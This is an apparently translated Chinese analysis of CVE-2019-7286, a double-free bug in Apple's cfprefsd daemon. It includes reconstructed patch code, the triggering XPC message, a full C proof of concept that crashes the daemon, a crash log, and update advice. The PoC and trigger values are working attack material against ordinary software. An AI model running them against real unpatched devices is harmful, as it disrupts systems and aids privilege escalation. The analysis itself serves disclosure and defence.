iOS/OSX漏洞分析和再现：CVE-2019-7286
ios 12.1.4是2019年2月8日发布的ios的最新版本。该版本修补了ios上发现的四个漏洞。根据project zero的ben hawkes的推文，其中至少有两个0day还是处于在野状态……
- cve-2019-7286在野外被开发利用
- 该漏洞似乎具有严重的严重性，并且可能在重新启动后也可能用于维持持久性
- zecops能够重现此漏洞（下面的poc代码）
- 该漏洞可用于将权限升级为root，作为ios 12.1.3上越狱链的一部分。
分析cve-2019-7286
根据apple的描述：
基础
适用于：iphone 5s及更高版本，ipad air及更高版本以及ipod touch第6代
影响：应用程序可能获得提升的权限
说明：通过改进的输入验证解决了内存损坏问题。
cve-2019-7286：匿名研究员，google威胁分析组的clement lecigne，google project zero的ian beer和google project zero的samuelgroß
除了在apple的foundation框架中修补漏洞这一事实外，该描述并未向我们提供有关漏洞性质的大量详细信息。
在分析foundation框架中的补丁后，二进制差异显示ios 12.1.4的二进制文件与ios 12.1.3相比没有显着变化。下一个直接的嫌疑人是corefoundation，它显示了diaphora工具中的一些二进制差异，如下所示：
通过比较补丁，我们发现cfprefs守护进程（cfprefsd）的实现有一些细微的变化。
此守护程序的手册页不太具描述性：
cfprefsd为cfpreferences和
nsuserdefaults api 提供首选项服务。手动
没有cfprefsd的配置选项。
几乎所有ios / os x上的软件都会在启动时使用cfpreferences选项，因此该守护程序中的漏洞可能对维护持久性也很有用。令人惊讶的是，目前还没有关于此cve的公开信息，正如人们所期望的那样，这个漏洞在野外被积极利用。
补丁分析
os x上也存在同样的错误，这有助于zecops的调查和分析。在修补程序时，对cfprefsd引入了一些小的更改，但似乎最重要的修改是在以下函数中进行的：
[cfprefsdaemon handlemultimessage：replyhandler：]
下面是一段zecops试图重建原始的obj-c代码以及补丁（粗体）：
1 @implementation cfprefsdaemon
2 -(void)handlemultimessage:(xpc_object_t)xpc_dict replyhandler:(callback)replyhandler
3 {
4 // ...
5 cfprefmessagesarr = xpc_dictionary_get_value(xpc_dict, "cfpreferencesmessages");
6 // ...
7 xpc_array_count = xpc_array_get_count(cfprefmessagesarr);
8 xpc_buffer = (__int64*)__cfallocateobjectarray(xpc_array_count);
9 //...
10 for( counter = 0; xpc_array_count != counter; counter++)
11 {
12 xpc_buffer[counter] = xpc_array_get_value(cfprefmessagesarr, counter); // this method does not grant the caller a reference to the underlying object, and thus the caller is not responsible for releasing the object.
13 }
14 for( counter = 0; xpc_array_count != loop_counter ; counter++)
15 {
16 xpc_element = xpc_buffer[counter];
17 xpc_buffer[counter] = 0; //patch fix
18 if ( xpc_get_type(xpc_element) == &_xpc_type_dictionary )
19 {
20 [self handlemessage_frompeer_replyhandler: xpc_element frompeer: xpc_connection replyhandler:^{
21 if (xpc_element) // patch fix
22 {
23 xpc_object_t result = xpc_retain(xpc_element);
24 xpc_buffer[counter] = result;
25 }
26 }];
27 }
28 if ( !xpc_buffer[counter] ) //patch fix
29 xpc_buffer[counter] = xpc_null_create(); //patch fix
30 }
31 //...
32 array_from_xpc_buffer = xpc_array_create(xpc_buffer, xpc_array_count);
33 xpc_dictionary_set_value(dict_response, "cfpreferencesmessages", array_from_xpc_buffer);
34 xpc_release(array_from_xpc_buffer);
35 for( counter = 0; xpc_array_count != counter ; counter++)
36 {
37 current_element = xpc_buffer[counter];
38 if (xpc_get_type(current_element) != &_xpc_type_null )
39 xpc_release(current_element); // first free. double free will occur when the array cfprefmessagesarr will be released.
40 }
41 // ...
42 }
漏洞详细信息
handlemultimessage：replyhandler：使用“ cfpreferencesmessages ”数组引用计数问题，该数组是xpc请求的一部分。
该函数使用xpc_array_get_value逐个将数组的对象读入内存缓冲区，这不会影响引用计数。释放缓冲区中所有元素的函数的最后一部分假定xpc对象具有所有权。这通常是真实的，因为回调块调用xpc_retain并在替换原来的对象xpc_buffer。但是，如果由于精心制作的消息而未调用回调（消息正文包含消息的处理程序索引。并非所有处理程序都调用回调），则会发生双重释放。
具有以下键和值的xpc将触发此漏洞：
1 poc_dict = {
2 "cfpreferencesoperation" = 5,
3 "cfpreferencesmessages" = [
4 {
5 "cfpreferencesoperation": 4
6 }
7 ]
8 }
如果回调没有更新xpc_buffer [count]， apple的补丁用xpc_null替换了原始的xpc对象。因此，当xpc_null没有要释放的内存时，没有双重释放条件。
漏洞复制
我们能够使用下面的poc代码片段重现cve-2019-7286：
1 #include <xpc/xpc.h>;
2
3 int main(int argc, const char * argv[]) {
4
5 xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,xpc_connection_mach_service_privileged);
6 xpc_connection_set_event_handler(conn, ^(xpc_object_t t) {
7 printf("got message: %sn", xpc_copy_description(t));
8 });
9
10 xpc_connection_resume(conn);
11
12 xpc_object_t hello = xpc_dictionary_create(null, null, 0);
13 xpc_dictionary_set_int64(hello, "cfpreferencesoperation", 5);
14
15 xpc_object_t arr = xpc_array_create(null, 0);
16 xpc_object_t arr_elem1 = xpc_dictionary_create(null, null, 0);
17 xpc_dictionary_set_int64(arr_elem1, "cfpreferencesoperation", 4);
18
19 xpc_array_append_value(arr, arr_elem1);
20 xpc_dictionary_set_value(hello, "cfpreferencesmessages", arr);
21 xpc_connection_send_message(conn, hello);
22 xpc_release(hello);
23 return 0;
24 }
在ios 12.0.1上运行上述程序导致cfprefsd崩溃：
thread 6 name: dispatch queue: serving pid 7210 thread 6 crashed: 0 libobjc.a.dylib 0x21acd6b00 objc_object::release+ 16 1 libxpc.dylib 0x21b73bbc0 _xpc_array_dispose + 40 2 libxpc.dylib 0x21b73a584 _xpc_dispose + 156 3 libxpc.dylib 0x21b7449fc _xpc_dictionary_dispose + 204 4 libxpc.dylib 0x21b73a584 _xpc_dispose + 156 5 libxpc.dylib 0x21b742418 _xpc_connection_mach_event + 872 6 libdispatch.dylib 0x21b528544 _dispatch_client_callout4 + 16 7 libdispatch.dylib 0x21b4df068 _dispatch_mach_msg_invoke + 340 8 libdispatch.dylib 0x21b4cfae4 _dispatch_lane_serial_drain + 284 9 libdispatch.dylib 0x21b4dfc3c _dispatch_mach_invoke + 476 10 libdispatch.dylib 0x21b4cfae4 _dispatch_lane_serial_drain + 284 11 libdispatch.dylib 0x21b4d0760 _dispatch_lane_invoke + 432 12 libdispatch.dylib 0x21b4d8f00 _dispatch_workloop_worker_thread + 600 13 libsystem_pthread.dylib 0x21b70a0f0 _pthread_wqthread + 312 14 libsystem_pthread.dylib 0x21b70cd00 start_wqthread + 4
建议
- 更新到最新的os x和ios版本。
- 偶尔重启iphone / ipad（例如每天一次）以从脱离非持久性攻击。